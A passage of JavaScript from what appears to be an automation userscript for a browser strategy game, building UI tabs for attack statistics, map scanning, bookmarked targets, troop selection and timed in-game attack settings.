						m += '<td>' + items[p][i] + '<br>' + ((Data.stats.attacks.by_level[i].total_attacks == 0 || items[p][i] == 0) ? '' : '(' + Math.round((items[p][i] / Data.stats.attacks.by_level[i].total_attacks) * 100) + '%)') + '</td>';
					}
					m += '</tr><tr>' + '		<td colspan=12><HR class=thin></td>' + '	</tr>';
				}
				m += '</table></div>';
				div.innerHTML = m;

				function flipStats(name) {
					var o = {};
					for (var i = 1; i < 12; i++) {
						for (var p in Data.stats.attacks.by_level[i][name]) {
							if (!o[p]) {
								o[p] = [];
								for (var x = 1; x < 12; x++) {
									o[p][x] = 0;
								}
							}
							o[p][i] += Data.stats.attacks.by_level[i][name][p];
						}
					}
					return o;
				}
			},

			/*** Attacks Tab - Maps Sub-tab ***/
			tabAttackMaps: function() {
				var t = Tabs.Attacks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAttackMaps']).className = 'selected';
				document.getElementById(UID['tabAttackMaps']).style.zIndex = 1;
				t.lastSubTab = 'tabAttackMaps';

				t.contentType = 4;

				var m = '<div class=' + UID['subtitle'] + '>' + translate('Search') + ' ' + translate('Location') + '</div>' + '<div id=' + setUID('tabAttackMaps_Statbox') + ' class=' + UID['status_ticker'] + ' style="overflow:auto; margin-top:1px !important">' + '<b>' + translate('Search Radius') + ':</b> ' + '	<select id=' + setUID('tabAttackMaps_Radius') + '>';

				for (var i = 8; i <= 40; i += 8) {
					m += '		<option value="' + i + '" ' + (Data.options.map.radius == i ? 'selected' : '') + '>' + i + '</option>';
				}
				m += '	<select> ' + translate('miles') + '.&nbsp;&nbsp;' + '<input id=' + setUID('tabAttackMaps_Search') + ' type=button value="' + translate('Detailed search') + '" />' + '<br><b>' + translate('Search Radius') + ':</b> ' + '	<select id=' + setUID('tabAttackMaps_RadiusFast') + '>';

				for (var i = 8; i <= 72; i += 8) {
					m += '		<option value="' + i + '" ' + (Data.options.map.radius_fast == i ? 'selected' : '') + '>' + i + '</option>';
				}
				m += '	<select> ' + translate('miles') + '.&nbsp;&nbsp;' + '<input id=' + setUID('tabAttackMaps_FastSearch') + ' type=button value="' + translate('Fast search') + '" />' + '<br><br><br>' + '	<table class=' + UID['table'] + '>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td>' + translate('type') + '</td>' + '			<td>' + translate('total') + '</td>' + '		</tr>';

				for (var map_type in Map.targets) {
					m += '<tr>' + '	<td>' + translate(map_type) + '</td>' + '	<td align=right><span class=jewel>' + Map.targets[map_type].length + '</span></td>' + '</tr>'
				}
				m += '</table></div>';

				document.getElementById(UID['tabAttack_Content']).innerHTML = m;
				document.getElementById(UID['tabAttackMaps_Search']).addEventListener('click', function() {
					butSearchNow(true);
				}, false);
				document.getElementById(UID['tabAttackMaps_FastSearch']).addEventListener('click', function() {
					butSearchNow(false);
				}, false);
				document.getElementById(UID['tabAttackMaps_Radius']).addEventListener('change', function(ev) {
					var el = ev.target;
					Data.options.map.radius = toNum(el.options[el.selectedIndex].value);
				}, false);
				document.getElementById(UID['tabAttackMaps_RadiusFast']).addEventListener('change', function(ev) {
					var el = ev.target;
					Data.options.map.radius_fast = toNum(el.options[el.selectedIndex].value);
				}, false);

				/* search the map for the selected type */

				function butSearchNow(get_detail) {
					actionLog('<B>scanMap</B>: begin');
					var t = Tabs.Attacks;

					for (var pid in Data.map.players) {
						if (Data.map.players[pid] && Data.map.players[pid][2]) {
							if (!Data.map.evolution[pid]) Data.map.evolution[pid] = {};
							Data.map.evolution[pid].m = Data.map.players[pid][2];
						}
					}

					var ix = 0;
					iy = 0;
					var x = Data.options.map.x;
					var y = Data.options.map.y;
					var radius = Data.options.map.radius;
					if (!get_detail) radius = Data.options.map.radius_fast;

					progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
					progressBar.start({
						steps: 100,
						delay: 1,
						byCount: true,
						title: translate('Scanning map') + '...',
						stepText: translate('Please wait...')
					});

					Map.scanMap({
						x: x,
						y: y,
						radius: radius,
						city_detail: get_detail,
						force_request: get_detail
					}, function(res) {
						if (res == null) {
							progressBarPop.getContentDiv().innerHTML = '<B>' + translate('Bummer, there was an error while scanning the map') + '.</B>';
							progressBarPop.allowClose(true);
							Tabs.Attacks.checkMapBusy = false;
							return;
						}
						if (res.done) {
							actionLog('<B>scanMap</B>: ' + translate('complete'));
							Tabs.Attacks.checkMapBusy = false;
							progressBarPop.destroy();
						}
					});
				}
			}
		};

		/******************************** Bookmarks Tab ******************************/
		Tabs.Bookmarks = {
			tabOrder: BOOKMARK_TAB_ORDER,
			tabLabel: 'Bookmarks',
			tabDisabled: !BOOKMARK_TAB_ENABLE,
			container: null,
			enabled: false,
			attackTimer: null,
			marchTimer: null,
			lastAttack: 0,
			attackErrors: 0,
			contentType: 0,
			/* 0 = edit, 1 = targets list, 2 = stats, 3 = config */
			lastSubTab: 'tabBookmarksTargets',
			running: {
				start_at: 0
			},
			last_target_idx: -1,
			current_target_idx: -1,
			requestTimer: 0,

			init: function(div) {
				var t = Tabs.Bookmarks;
				Data.setDefaultValues('bookmark');

				t.container = div;
				var m = '' + '<div class=' + UID['title'] + '>' + translate('Bookmarks') + '</div>' + '<div id=' + setUID('tabBookmarks_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<center><input id=' + setUID('tabBookmarks_OnOff') + ' type=button value="OnOff" /></center>' + '	<div id=' + setUID('tabBookmarks_Report') + ' style="margin-top:5px;height:140px; max-height:140px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabBookmarks_Marches') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '	<div id=' + setUID('tabBookmarks_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabBookmarksEdit') + '>' + translate('Edit') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabBookmarksTargets') + '>' + translate('Targets') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabBookmarksStats') + '>' + translate('Stats') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabBookmarksConfig') + '>' + translate('Config') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabBookmarks_Content') + ' style="padding-top:0px; height:430px; overflow-y:auto"></div>';
				t.container.innerHTML = m;

				document.getElementById(UID['tabBookmarksEdit']).addEventListener('click', t.tabBookmarksEdit, false);
				document.getElementById(UID['tabBookmarksTargets']).addEventListener('click', t.tabBookmarksTargets, false);
				document.getElementById(UID['tabBookmarksStats']).addEventListener('click', t.tabBookmarksStats, false);
				document.getElementById(UID['tabBookmarksConfig']).addEventListener('click', t.tabBookmarksConfig, false);
				document.getElementById(UID['tabBookmarks_OnOff']).addEventListener('click', function() {
					t.setBookmarksEnable(!Data.options.bookmarks.enabled);
				}, false);
				window.addEventListener('unload', t.onUnload, false);
				if (Data.stats.bookmarks == null) t.clearStats();
				t.setBookmarksEnable(false);
				t.contentType = toNum(Data.options.bookmarks.current_tab);
				t.show();
			},

			tabBookmarksEdit: function() {
				var t = Tabs.Bookmarks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabBookmarksEdit']).className = 'selected';
				document.getElementById(UID['tabBookmarksEdit']).style.zIndex = 1;
				t.lastSubTab = 'tabBookmarksEdit';

				t.contentType = 0;

				var m = '<div class="' + UID['title'] + '">' + translate('Edit bookmark') + '</div>' + '<div class=' + UID['content'] + '>' + '	<div>' + '		<b>' + translate('Coords') + ':&nbsp;</b>&nbsp;' + '		X: <input id=' + setUID('tabBookmarks_CoordsX') + ' size=1 maxlength=3 type=text value="' + Data.options.bookmarks.new_bookmark.x + '" /> ' + '		Y: <input id=' + setUID('tabBookmarks_CoordsY') + ' size=2 maxlength=3 type=text value="' + Data.options.bookmarks.new_bookmark.y + '" /> ' + '		&nbsp <b>' + translate('Distance') + ':</b> <span id=' + setUID('tabBookmarks_Distance') + '></span>' + '		&nbsp <input id=' + setUID('tabBookmarks_Spy') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Spy') + ' " />' + '		&nbsp <input id=' + setUID('tabBookmarks_Save') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Save') + ' " />';
				if (Data.options.bookmarks.new_bookmark.id && Data.options.bookmarks.new_bookmark.id != '' && Data.options.bookmarks.new_bookmark.n && Data.options.bookmarks.new_bookmark.n != '') {
					var user_ids = Data.options.bookmarks.new_bookmark.id + '_' + Data.options.bookmarks.new_bookmark.n;
					m += '	&nbsp <input id=' + setUID('tabBookmarks_Msg') + ' ref=' + user_ids + ' class="' + UID['btn_blue'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Msg') + ' " />';
				}
				m += '	<br><br><label>' + translate('description') + ' :</label>&nbsp' + '		<textarea id=' + setUID('tabBookmarks_Comment') + ' cols="80" rows="2" wrap="PHYSICAL">' + Data.options.bookmarks.new_bookmark.comment + '</textarea><br>' + '		<div class=' + UID['status_ticker'] + ' style="height:auto !important;margin:5px 10px !important;">' + '			<center><span id=' + setUID('tabBookmarks_Tile') + '></span></center>' + '		</div>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabBookmarks_Troops') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Troops for Bookmarks Attack') + ':&nbsp;</td>' + '		</tr>' + '	</table>' + '	</div><br>' + '  <div>' + '	<table id=' + setUID('tabBookmarks_Dragons') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Include Great Dragon') + ':&nbsp;</td>';
				var currentDragons = [];
				for (var j = 0; j < Seed.dragonList.length; j++) {
					var dragon = Seed.dragonList[j];
					if (j % 5 === 0)
						m += '</tr><tr>';
					m += '	<td class=right><span title="' + translate(dragon.type) + '">' + translate(Names.getTroopAbbr(dragon.type)) + ':<span></td>' + '	<td align=center><input type=checkbox id=' + setUID('tabBookmarks_Dragons_' + j) + ' ref=' + j + ' ' + (Data.options.bookmarks.new_bookmark.dragons[dragon.type] ? ' checked' : '') + ' /></td>';
					currentDragons.push(j);
				}
				m += '</tr>' + '	</table>' + '	</div>' + '</div>'
				document.getElementById(UID['tabBookmarks_Content']).innerHTML = m;
				document.getElementById(UID['tabBookmarks_CoordsX']).addEventListener('change', eventCoords, false);
				document.getElementById(UID['tabBookmarks_CoordsY']).addEventListener('change', eventCoords, false);
				document.getElementById(UID['tabBookmarks_Comment']).addEventListener('change', function() {
					Data.options.bookmarks.new_bookmark.comment = document.getElementById(UID['tabBookmarks_Comment']).value
				}, false);
				document.getElementById(UID['tabBookmarks_Save']).addEventListener('click', saveCoords, false);
				if (Data.options.bookmarks.new_bookmark.id && Data.options.bookmarks.new_bookmark.id != '' && Data.options.bookmarks.new_bookmark.n && Data.options.bookmarks.new_bookmark.n != '')
					document.getElementById(UID['tabBookmarks_Msg']).addEventListener('click', onClickMsg, false);
				setTroopTable(document.getElementById(UID['tabBookmarks_Troops']), 1, 'BW', wave_unit_types,
					Data.options.bookmarks.new_bookmark.units, undefined, eventTroops, true);
				for (var j = 0; j < currentDragons.length; ++j) {
					document.getElementById(UID['tabBookmarks_Dragons_' + currentDragons[j]]).addEventListener('change', function(event) {
						var args = event.target.getAttribute('ref');
						Data.options.bookmarks.new_bookmark.dragons[Seed.dragonList[args[0]].type] = event.target.checked;
						var include_great_dragon = false;
						for (var x = 0; x < Seed.dragonList.length && !include_great_dragon; x++) {
							var dragon = Seed.dragonList[x];
							if (Data.options.bookmarks.new_bookmark.dragons[dragon.type]) include_great_dragon = true;
						}
						if (include_great_dragon) Data.options.bookmarks.new_bookmark.include_great_dragon = true;
						else Data.options.bookmarks.new_bookmark.include_great_dragon = false;
					}, false);
				}
				eventCoords();
				var butSpy = document.getElementById(UID['tabBookmarks_Spy']);
				butSpy.addEventListener('click', butSpyNow, false);
				var tile = Data.options.bookmarks.new_bookmark;
				if (!tile.ai || tile.ai == 0 || tile.ai == null || tile.ai != (Seed.player.alliance ? Seed.player.alliance.id : -1))
					setButtonStyle(butSpy, true, 'btn_green', 'btn_disabled');
				else
					setButtonStyle(butSpy, false, 'btn_green', 'btn_disabled');

				function butSpyNow(event) {
					buttonSpyNow(t.container, Data.options.bookmarks.new_bookmark);
				}

				function eventCoords(event) {
					checkCoords('tabBookmarks', Data.options.bookmarks.new_bookmark.units, Data.options.bookmarks.new_bookmark);
				}

				function eventTroops(event) {
					var t = Tabs.Bookmarks;
					var args = event.target.name.split('_');
					if (args[0] == 'BW') {
						var tt = wave_unit_types[args[1]];
						var tr = Data.options.bookmarks.new_bookmark.units;
						tr[tt] = event.target.value;
					}
				}

				function saveCoords() {
					var t = Tabs.Bookmarks;
					saveBookmark(t.container, Data.options.bookmarks.new_bookmark.x,
						Data.options.bookmarks.new_bookmark.y,
						Data.options.bookmarks.new_bookmark.type,
						Data.options.bookmarks.new_bookmark.level,
						Data.options.bookmarks.new_bookmark.id,
						Data.options.bookmarks.new_bookmark.n,
						Data.options.bookmarks.new_bookmark.units,
						Data.options.bookmarks.new_bookmark.ai,
						Data.options.bookmarks.new_bookmark.include_great_dragon, true,
						Data.options.bookmarks.new_bookmark.dragons,
						Data.options.bookmarks.new_bookmark.comment);
					t.tabBookmarksTargets();
				}
			},

			tabBookmarksTargets: function() {
				var t = Tabs.Bookmarks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabBookmarksTargets']).className = 'selected';
				document.getElementById(UID['tabBookmarksTargets']).style.zIndex = 1;
				t.lastSubTab = 'tabBookmarksTargets';

				t.contentType = 1;
				var timer = null;

				var m = '<div class="' + UID['title'] + '">' + translate('Targets') + '</div>' + '	<div id=' + setUID('tabBookmarksTargets_TargetsList') + ' class=' + UID['status_ticker'] + ' style="height:380px; max-height:380px; width:540px; max-width:540px; overflow:auto ; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabBookmarks_Content']).innerHTML = m;

				setUID('tabBookmarks_TypeChoice');
				setUID('tabBookmarks_SortChoice');
				var m = '<table><tr>' + '<td align=right>&nbsp;<b>' + translate('Select') + ' ' + translate('Targets') + '</b></td>' + '<td>:&nbsp;<select id=' + UID['tabBookmarks_TypeChoice'] + '>' + '	<option value="3" ' + (Data.options.bookmarks.choice == 3 ? 'selected' : '') + '>' + translate('All') + '</option>' + '	<option value="1" ' + (Data.options.bookmarks.choice == 1 ? 'selected' : '') + '>' + translate('AnthropusCamp') + '</option>' + '	<option value="0" ' + (Data.options.bookmarks.choice == 0 ? 'selected' : '') + '>' + translate('City') + ' / ' + translate('Outpost') + '</option>' + '	<option value="2" ' + (Data.options.bookmarks.choice == 2 ? 'selected' : '') + '>' + translate('Wildernesses') + '</option>' + '</select>&nbsp;' + '</td>' + '<td align=right>&nbsp;<b>' + translate('Attack') + '</b></td>' + '<td>:&nbsp;<select id=' + UID['tabBookmarks_SortChoice'] + '>' + '	<option value="0" ' + (Data.options.bookmarks.sort == 0 ? 'selected' : '') + '>' + translate('By distance ascending') + '</option>' + '	<option value="1" ' + (Data.options.bookmarks.sort == 1 ? 'selected' : '') + '>' + translate('By distance descending') + '</option>' + '	<option value="2" ' + (Data.options.bookmarks.sort == 2 ? 'selected' : '') + '>' + translate('Back at the same time') + '</option>' + '</select>&nbsp;' + '</td>' + '</tr></table><br>';

				var el = [],
					si = [],
					ul = [],
					ligne = 0;
				m += '<table id=' + setUID('tabBookmarksTargets_Tab') + ' class=' + UID['row_style'] + ' width=100% style="white-space:nowrap">' + '	<tr class=' + UID['row_headers'] + '>' + '		<td width=9%>' + translate('Enable') + '</td>' + '		<td width=7%>' + translate('Dist') + '</td>' + '		<td width=7%>' + translate('Coords') + '</td>' + '		<td width=25% style="white-space:wrap">' + translate('Target') + '</td>' + '		<td width=25% style="white-space:wrap">' + translate('Troops') + '</td>' + '		<td width=7%>' + translate('GD') + '</td>' + '		<td width=20%>' + translate('Last attack') + '</td>' + '	</tr>';
				for (var i = 0; i < Data.options.bookmarks.targets.length; i++) {
					if (Data.options.bookmarks.choice == 3 || Data.options.bookmarks.choice == Data.options.bookmarks.targets[i].t) {
						var include_great_dragon = false;
						for (var j = 0; j < Seed.dragonList.length && !include_great_dragon; j++) {
							var dragon = Seed.dragonList[j];
							if (Data.options.bookmarks.targets[i].dragons[dragon.type]) include_great_dragon = true;
						}
						ligne++;
						var row_style = '';
						if (ligne % 2 == 1) row_style = 'style="background-color:White';
						else row_style = 'style="background-color:rgb(239,239,224)';
						if (!Data.options.bookmarks.targets[i].comment || Data.options.bookmarks.targets[i].comment == null || Data.options.bookmarks.targets[i].comment == '')
							row_style = row_style + '; border-bottom: 1px solid #898989;';
						m += '<tr valign=top ' + row_style + '">' + '	<td><input type=checkbox id=' + setUID('tabBookmarksTargets_CB_' + i) + ' ref=' + i + ' ' + (Data.options.bookmarks.targets[i].enabled ? 'checked' : '') + ' /></td>' + '	<td>' + Data.options.bookmarks.targets[i].d + '</td>' + '	<td align=center>' + Data.options.bookmarks.targets[i].x + ',' + Data.options.bookmarks.targets[i].y + '<br>(' + timestrShort(Data.options.bookmarks.targets[i].ti) + ')</td>' + '	<td align=left>' + Data.options.bookmarks.targets[i].type + '</td>' + '	<td align=left>' + getTroops(Data.options.bookmarks.targets[i].units, '<br>') + '</td>' + '	<td align=center>' + ((include_great_dragon) ? 'Y' : '') + '</td>' + '	<td align=left><span id=' + setUID('tabBookmarksTargets_Last_' + i) + '> --- </span><br>' + '	<input id=' + setUID('tabBookmarksTargets_Edit_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Edit') + '" />&nbsp &nbsp' + '	<input id=' + setUID('tabBookmarksTargets_Spy_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Spy') + '" />&nbsp &nbsp';
						if (Data.options.bookmarks.targets[i].id && Data.options.bookmarks.targets[i].id != '' && Data.options.bookmarks.targets[i].n && Data.options.bookmarks.targets[i].n != '') {
							var user_ids = Data.options.bookmarks.targets[i].id + '_' + Data.options.bookmarks.targets[i].n;
							var UIDMsg = setUID('tabBookmarksTargets_Msg_' + i);
							m += '	<input id=' + UIDMsg + ' ref=' + user_ids + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" />&nbsp &nbsp';
							ul.push(UIDMsg);
						}
						m += '	<input id=' + setUID('tabBookmarksTargets_Delete_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value=" X " /></td>' + '</tr>';
						if (Data.options.bookmarks.targets[i].comment && Data.options.bookmarks.targets[i].comment != null && Data.options.bookmarks.targets[i].comment != '') {
							m += '<tr valign=top ' + row_style + '; border-bottom: 1px solid #898989;">' + '	<td>&nbsp</td><td colspan=5>' + Data.options.bookmarks.targets[i].comment + '</td><td>&nbsp</td></tr>';
						}
						el.push(UID['tabBookmarksTargets_CB_' + i]);
						si.push(i);
					}
				}
				document.getElementById(UID['tabBookmarksTargets_TargetsList']).innerHTML = m + '</table>';
				document.getElementById(UID['tabBookmarks_TypeChoice']).addEventListener('change', onTypeChoice, false);
				document.getElementById(UID['tabBookmarks_SortChoice']).addEventListener('change', onSortChoice, false);
				for (var i = 0; i < el.length; i++) {
					document.getElementById(el[i]).addEventListener('click', onCheckEnabled, false);
					var butRecall = document.getElementById(UID['tabBookmarksTargets_Edit_' + i]);
					var butDelete = document.getElementById(UID['tabBookmarksTargets_Delete_' + i]);
					var butSpy = document.getElementById(UID['tabBookmarksTargets_Spy_' + i]);
					butRecall.addEventListener('click', editTarget, false);
					butDelete.addEventListener('click', deleteTarget, false);
					butSpy.addEventListener('click', butSpyNow, false);
					var tile = Data.options.bookmarks.targets[si[i]];
					if (!tile.ai || tile.ai == 0 || tile.ai == null || tile.ai != (Seed.player.alliance ? Seed.player.alliance.id : -1))
						setButtonStyle(butSpy, true, 'btn_green', 'btn_disabled');
					else
						setButtonStyle(butSpy, false, 'btn_green', 'btn_disabled');
				}
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);
				tick();

				function butSpyNow(event) {
					var n = toNum(event.target.getAttribute('ref'));
					buttonSpyNow(t.container, Data.options.bookmarks.targets[n]);
				}

				function editTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.bookmarks.new_bookmark.x = Data.options.bookmarks.targets[n].x;
					Data.options.bookmarks.new_bookmark.y = Data.options.bookmarks.targets[n].y;
					Data.options.bookmarks.new_bookmark.type = Data.options.bookmarks.targets[n].type;
					Data.options.bookmarks.new_bookmark.level = Data.options.bookmarks.targets[n].level;
					Data.options.bookmarks.new_bookmark.id = Data.options.bookmarks.targets[n].id;
					Data.options.bookmarks.new_bookmark.n = Data.options.bookmarks.targets[n].n;
					Data.options.bookmarks.new_bookmark.ai = Data.options.bookmarks.targets[n].ai;
					Data.options.bookmarks.new_bookmark.units = cloneProps(Data.options.bookmarks.targets[n].units);
					Data.options.bookmarks.new_bookmark.dragons = cloneProps(Data.options.bookmarks.targets[n].dragons);
					Data.options.bookmarks.new_bookmark.include_great_dragon = Data.options.bookmarks.targets[n].inc;
					Data.options.bookmarks.new_bookmark.comment = Data.options.bookmarks.targets[n].comment;
					t.tabBookmarksEdit();
				}

				function deleteTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.bookmarks.targets.splice(n, 1);
					t.tabBookmarksTargets();
				}

				function onCheckEnabled(event) {
					var ref = event.target.getAttribute('ref');
					Data.options.bookmarks.targets[ref].enabled = event.target.checked;
				}

				function onSortChoice(event) {
					var t = Tabs.Bookmarks;
					t.last_target_idx = -1;
					if (Data.options.bookmarks.enabled) {
						/* It would be very bad to leave attack on when switching targets. Imagine sending the troops for a wilderness to a city or an ant camp...*/
						clearTimeout(t.attackTimer);
						t.setBookmarksEnable(false);
						dispFeedback(UID['tabBookmarks_Feedback'], translate('Safe Mode') + ': ' + translate('Attacks') + ' ' + translate('Turned Off'));
					}
					/* Update distance and march duration for all saved bookmarks (case when own city has moved) */
					for (var i = 0; i < Data.options.bookmarks.targets.length; i++) {
						Data.options.bookmarks.targets[i].d = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.bookmarks.targets[i].x, Data.options.bookmarks.targets[i].y);
						Data.options.bookmarks.targets[i].ti = getMarchTime(Data.options.bookmarks.targets[i].x, Data.options.bookmarks.targets[i].y, Data.options.bookmarks.targets[i].units);
					}
					var el = event.target;
					Data.options.bookmarks.sort = toNum(el.options[el.selectedIndex].value);
					switch (Data.options.bookmarks.sort) {
						case 1:
							Data.options.bookmarks.targets.sort(function(a, b) {
								return b.d - a.d
							});
							break;
						case 2:
							Data.options.bookmarks.targets.sort(function(a, b) {
								return b.ti - a.ti
							});
							break;
						default:
							Data.options.bookmarks.targets.sort(function(a, b) {
								return a.d - b.d
							});
							break;
					}
					t.tabBookmarksTargets();
				}

				function onTypeChoice(event) {
					var t = Tabs.Bookmarks;
					t.last_target_idx = -1;
					if (Data.options.bookmarks.enabled) {
						/* It would be very bad to leave attack on when switching targets. Imagine sending the troops for a wilderness to a city or an ant camp... */
						clearTimeout(t.attackTimer);
						t.setBookmarksEnable(false);
						dispFeedback(UID['tabBookmarks_Feedback'], translate('Safe Mode') + ': ' + translate('Attacks') + ' ' + translate('Turned Off'));
					}
					var el = event.target;
					Data.options.bookmarks.choice = toNum(el.options[el.selectedIndex].value);
					t.tabBookmarksTargets();
				}

				function tick() {
					var now = serverTime();
					var ts;
					clearTimeout(timer);
					if (!document.getElementById(UID['tabBookmarksTargets_Tab']))
						return;
					for (var i = 0; i < Data.options.bookmarks.targets.length; i++) {
						var last = document.getElementById(UID['tabBookmarksTargets_Last_' + i]);
						if (last == undefined) continue;
						if (is_null(Data.options.bookmarks.targets[i].last_attack)) ts = '---';
						else {
							var time = now - Data.options.bookmarks.targets[i].last_attack;
							if (time > 3600) ts = '<font color=#550000><b>' + timestr(time, false) + '</b></font>';
							else ts = timestr(time, false);
						}
						last.innerHTML = ts;
					}
					timer = setTimeout(tick, 5000);
				}
			},

			tabBookmarksStats: function() {
				var t = Tabs.Bookmarks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabBookmarksStats']).className = 'selected';
				document.getElementById(UID['tabBookmarksStats']).style.zIndex = 1;
				t.lastSubTab = 'tabBookmarksStats';

				t.contentType = 2;

				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Stats') + '</div>' + '<div id=' + setUID('tabBookmarksStats_Statbox') + ' class=' + UID['status_ticker'] + '>' + '<div id=' + setUID('tabBookmarksStats_Status') + '></div>' + '<div id=' + setUID('tabBookmarksStats_Percent') + '></div>' + '<br/>' + '<center><input id=' + setUID('tabBookmarksStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '<br></div>';

				document.getElementById(UID['tabBookmarks_Content']).innerHTML = m;
				document.getElementById(UID['tabBookmarksStats_Clear']).addEventListener('click', function() {
					t.clearStats();
					t.showStats();
				}, false);
				t.showStats();
			},

			tabBookmarksConfig: function() {
				var t = Tabs.Bookmarks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabBookmarksConfig']).className = 'selected';
				document.getElementById(UID['tabBookmarksConfig']).style.zIndex = 1;
				t.lastSubTab = 'tabBookmarksConfig';

				t.contentType = 3;

				var m = '<div class=' + UID['title'] + '>' + translate('Bookmarks Configuration') + '</div>' + '<div id=' + setUID('tabBookmarksConfig_Status') + ' class=' + UID['status_ticker'] + ' style="overflow:auto">' + '	<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td width=50% class=right>' + translate('Delay Between Attacks') + ':&nbsp;</td>' + '		<td width=50%>' + '		<input class=short id=' + setUID('tabBookmarksConfig_DelayMin') + ' maxlength=4 type=text value="' + Data.options.bookmarks.delay_min + '" />&nbsp;' + translate('to') + '		<input class=short id=' + setUID('tabBookmarksConfig_DelayMax') + ' maxlength=4 type=text value="' + Data.options.bookmarks.delay_max + '" />&nbsp;' + translate('seconds') + '		</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Delete Battle Reports') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabBookmarksConfig_DelAttacks') + ' ' + (Data.options.bookmarks.delete_reports ? 'CHECKED ' : '') + ' type=checkbox /></td>' + '	</tr><tr>' + '		<td class=right>' + translate('Stop if any troops lost') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabBookmarksConfig_StopOnLoss') + ' ' + (Data.options.bookmarks.stop_on_loss ? 'CHECKED ' : '') + ' type=checkbox /></td>' + '	</tr><tr>' + '		<td class=right>' + translate('Maximum simultaneous marches') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabBookmarksConfig_MaxMarches') + ' class=short maxlength=2 type=text value="' + Data.options.bookmarks.max_marches + '" /></td>' + '	</tr></table>';
				document.getElementById(UID['tabBookmarks_Content']).innerHTML = m;
				document.getElementById(UID['tabBookmarksConfig_DelAttacks']).addEventListener('change', function(event) {
					Data.options.bookmarks.delete_reports = event.target.checked;
				}, false);
				document.getElementById(UID['tabBookmarksConfig_StopOnLoss']).addEventListener('change', function(event) {
					Data.options.bookmarks.stop_on_loss = event.target.checked;
				}, false);
				document.getElementById(UID['tabBookmarksConfig_DelayMin']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabBookmarksConfig_DelayMax']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabBookmarksConfig_MaxMarches']).addEventListener('change', maxMarchesChanged, false);

				function delayChanged(event) {
					var min = toNum(document.getElementById(UID['tabBookmarksConfig_DelayMin']).value);
					var max = toNum(document.getElementById(UID['tabBookmarksConfig_DelayMax']).value);
					if (min < MIN_DELAY || min > 3600 || (max - min) < 5) {
						var dial = new ModalDialog(t.container, 300, 150, '', true);
						dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Error') + '</b></center></div>';
						dial.getContentDiv().innerHTML = '<b>' + translate('Invalid delays') + '</b><br><br>' + translate('First value must be between') + ' ' + MIN_DELAY + ' ' + translate('and') + ' 3600. ' + translate('Second value must be at least') + ' 5 ' + translate('above the first value');
						return;
					}
					Data.options.bookmarks.delay_min = min;
					Data.options.bookmarks.delay_max = max;
				}

				function maxMarchesChanged(event) {
					var val = toNum(document.getElementById(UID['tabBookmarksConfig_MaxMarches']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.bookmarks.max_marches = val;
				}
			},

			autoCheckTargets: function() {
				var t = Tabs.Bookmarks;
				var now = serverTime();
				var cityIdx = CAPITAL.id;
				var targetMsg, retryDelay, availableGeneral, attackUnits, marchCount = 0,
					p;
				clearTimeout(t.attackTimer);

				if (!Data.options.bookmarks.enabled) return;
				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				retryDelay = cur_march.delay;

				var nextTarget = t.getNextTarget();
				if (nextTarget) {
					var targetMsg = nextTarget.type + ' ' + translate('at') + ' ' + nextTarget.x + '/' + nextTarget.y;
